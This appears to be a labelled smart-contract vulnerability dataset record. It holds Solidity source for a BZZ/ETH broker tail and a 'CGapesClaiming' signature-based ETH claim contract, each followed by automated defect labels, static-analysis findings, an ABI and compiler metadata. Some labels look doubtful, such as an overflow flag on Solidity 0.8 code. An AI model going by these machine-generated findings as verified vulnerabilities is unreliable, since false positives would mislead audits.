msg.sender, _deadline ); // Emitting event with all important info emit burnTokensWithEth( msg.sender, _tokenAmount, daiReward, ethMin, _minDaiSellValue ); // Returning that the burn executed successfully return true; } function() external payable { require( msg.sender == address(router_), "ETH not accepted outside router" ); } // ------------------------------------------------------------------------- // Internal functions // ------------------------------------------------------------------------- /** * @param _tokenAmount The amount of BZZ tokens the user would like to * buy from the curve. * @param _maxDaiSpendAmount The max amount of collateral (DAI) the user * is willing to spend to buy the amount of tokens. * @param _deadline Unix timestamp after which the transaction will * revert. - Taken from Uniswap documentation: * https://uniswap.org/docs/v2/smart-contracts/router02/#swapethforexacttokens * @return uint256 The dai needed to buy the tokens. * @return uint256 The Ether received from the user for the trade. * @notice Before this function is called the caller does not need to * approve the spending of anything. Please assure that the amount * of ETH sent with this transaction is sufficient by first calling * `buyPrice` with the same token amount. Add your % slippage to * the max dai spend amount (you can get the expected amount by * calling `buyPrice` on the curve contract). */ function _commonMint( uint256 _tokenAmount, uint256 _maxDaiSpendAmount, uint _deadline, address _to ) internal returns( uint256 daiNeeded, uint256 ethReceived ) { // Getting the exact needed amount of DAI for desired token amount daiNeeded = curve_.buyPrice(_tokenAmount); // Checking that this amount is not more than the max spend amount require( _maxDaiSpendAmount >= daiNeeded, "DAI required for trade above max" ); // Swapping sent ETH for exact amount of DAI needed router_.swapETHForExactTokens.value(msg.value)( daiNeeded, getPath(true), address(this), _deadline ); // Getting the amount of ETH received ethReceived = address(this).balance; // Approving the curve as a spender require( dai_.approve(address(curve_), daiNeeded), "DAI approve failed" ); // Buying tokens (BZZ) against the curve require( curve_.mintTo(_tokenAmount, daiNeeded, _to), "BZZ mintTo failed" ); // Refunding user excess ETH msg.sender.transfer(ethReceived); } }
[{"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["671"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["498", "452"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["67"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["418"]}]
[{"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"Eth_broker.sol": [671]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [234]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Eth_broker.sol": [352, 353, 354, 355, 356, 343, 344, 345, 346, 347, 348, 349, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Eth_broker.sol": [417, 418, 419]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Eth_broker.sol": [364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [155]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [234]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [122]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [489]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [384]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [401]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [443]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [364]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [276, 277, 278, 279, 280, 281, 282]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [259, 260, 261, 262, 263, 264, 265]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [267, 268, 269, 270, 271, 272, 273, 274]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [487]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [490]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [444]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [343]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [534]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [488]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [533]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [130]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [535]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Eth_broker.sol": [442]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Eth_broker.sol": [459, 460, 461, 462, 463, 464, 465]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Eth_broker.sol": [512, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Eth_broker.sol": [592, 593, 594, 595, 596, 597, 598]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Eth_broker.sol": [459, 460, 461, 462, 463, 464, 465]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Eth_broker.sol": [512, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Eth_broker.sol": [584, 585, 586, 587, 588, 589, 590]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Eth_broker.sol": [652, 653, 654, 655, 656, 657]}}]
[]
[{"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 155, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 249, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 251, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 252, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 639, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 137, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 142, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 137, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 137, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 137, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 140, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 145, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 146, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 147, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 150, "severity": 1}]
[{"constant":false,"inputs":[{"name":"_tokenAmount","type":"uint256"},{"name":"_maxDaiSpendAmount","type":"uint256"},{"name":"_deadline","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"_buy","type":"bool"}],"name":"getPath","outputs":[{"name":"","type":"address[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_daiAmount","type":"uint256"}],"name":"sellRewardDai","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenAmount","type":"uint256"},{"name":"_minDaiSellValue","type":"uint256"},{"name":"_deadline","type":"uint256"}],"name":"redeem","outputs":[{"name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_tokenAmount","type":"uint256"},{"name":"_maxDaiSpendAmount","type":"uint256"},{"name":"_deadline","type":"uint256"},{"name":"_to","type":"address"}],"name":"mintTo","outputs":[{"name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"_amount","type":"uint256"}],"name":"buyPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_amount","type":"uint256"}],"name":"sellReward","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_bzzCurve","type":"address"},{"name":"_collateralToken","type":"address"},{"name":"_router02","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"buyer","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"priceForTokensDai","type":"uint256"},{"indexed":false,"name":"EthTradedForDai","type":"uint256"},{"indexed":false,"name":"maxSpendDai","type":"uint256"}],"name":"mintTokensWithEth","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"buyer","type":"address"},{"indexed":true,"name":"receiver","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"priceForTokensDai","type":"uint256"},{"indexed":false,"name":"EthTradedForDai","type":"uint256"},{"indexed":false,"name":"maxSpendDai","type":"uint256"}],"name":"mintTokensToWithEth","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"seller","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"rewardReceivedDai","type":"uint256"},{"indexed":false,"name":"ethReceivedForDai","type":"uint256"},{"indexed":false,"name":"minRewardDai","type":"uint256"}],"name":"burnTokensWithEth","type":"event"}]
v0.5.0+commit.1d4f565a
true
500
0000000000000000000000004f32ab778e85c4ad0cead54f8f82f5ee74d469040000000000000000000000006b175474e89094c44da98b954eedeac495271d0f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Default
BSD-3-Clause
false
bzzr://00f08187231dd23bf6fe55ecb35bf58c32121f608f821b1bef65dcbc6466c5b6
CGapesClaiming
0x6369232305e3f95b1d15c39aa495165280e7e22e
Solidity
// File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File: In Progress/Christmas Gambling Apes Claiming.sol pragma solidity ^0.8.7; contract CGapesClaiming is Ownable { using ECDSA for bytes32; string constant ERROR_INVALID_DATA = "Invalid data provided"; string constant ERROR_INVALID_DATA_LENGTH = "Invalid data length"; string constant ERROR_INVALID_SIGNATURE = "Invalid signature provided"; modifier directOnly { require(msg.sender == tx.origin, "Only direct transactions are allowed"); _; } modifier notLocked { require(!_locked, "You may not claim right now!"); _; } constructor(address signer_) { _signer = signer_; _b1 = 0x0408CFcde646bbADa944BF4312e6a2EF61ce8e7b; _b2 = 0xA61932ae8589664E9aaB312886775a617775E940; } address immutable _b1; address immutable _b2; bool _locked; address _signer; mapping(address => uint) public addressToLastMonthClaimed; modifier verifyInputData(address to, uint[] calldata months, uint amount, bytes calldata signature) { require(months.length > 0, ERROR_INVALID_DATA_LENGTH); for(uint i = 1; i < months.length; i++) require(months[i - 1] < months[i], ERROR_INVALID_DATA); /* Verify order smallest > largest **no duplicates**, gaps allowed eg:[1,2,4,7,9] */ require(months[0] > addressToLastMonthClaimed[to], ERROR_INVALID_DATA); /* Smallest value will be first, must be larger than the previously saved largest value */ addressToLastMonthClaimed[to] = months[months.length - 1]; /* Largest value will be last, save it to be used in the above check in the future */ require(keccak256(abi.encode(to, months, amount)).toEthSignedMessageHash().recover(signature) == _signer, ERROR_INVALID_SIGNATURE); /* Verify the backend signature */ _; } // External/Public function claim(uint[] calldata months, uint amount, bytes calldata signature) external directOnly notLocked verifyInputData(msg.sender, months, amount, signature) { payable(msg.sender).transfer(amount); } // Owner Only function flipLock() external { require(msg.sender == owner() || msg.sender == _b1 || msg.sender == _b2); _locked = !_locked; } function changeSigner(address signer_) external onlyOwner { _signer = signer_; } function withdraw(uint amount) external onlyOwner { payable(msg.sender).transfer(amount); } receive() payable external {} }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["447"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["129", "100", "151"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["75", "86", "60"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["451"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["428"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [256, 257, 254, 255]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [411]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 122, 123, 124, 125, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [392, 390, 391]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [403, 404, 405]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [24, 25, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [357, 358, 359, 360, 361, 362, 363, 364, 365, 366]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [306, 307, 308, 309, 310, 311, 312, 313, 314]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CGapesClaiming.sol": [82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CGapesClaiming.sol": [90, 91, 92, 93]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [33]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [111]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [6]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [181]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [472]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [433]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"CGapesClaiming.sol": [472]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [439]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [438]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [441]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CGapesClaiming.sol": [442]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"CGapesClaiming.sol": [255]}}]
[]
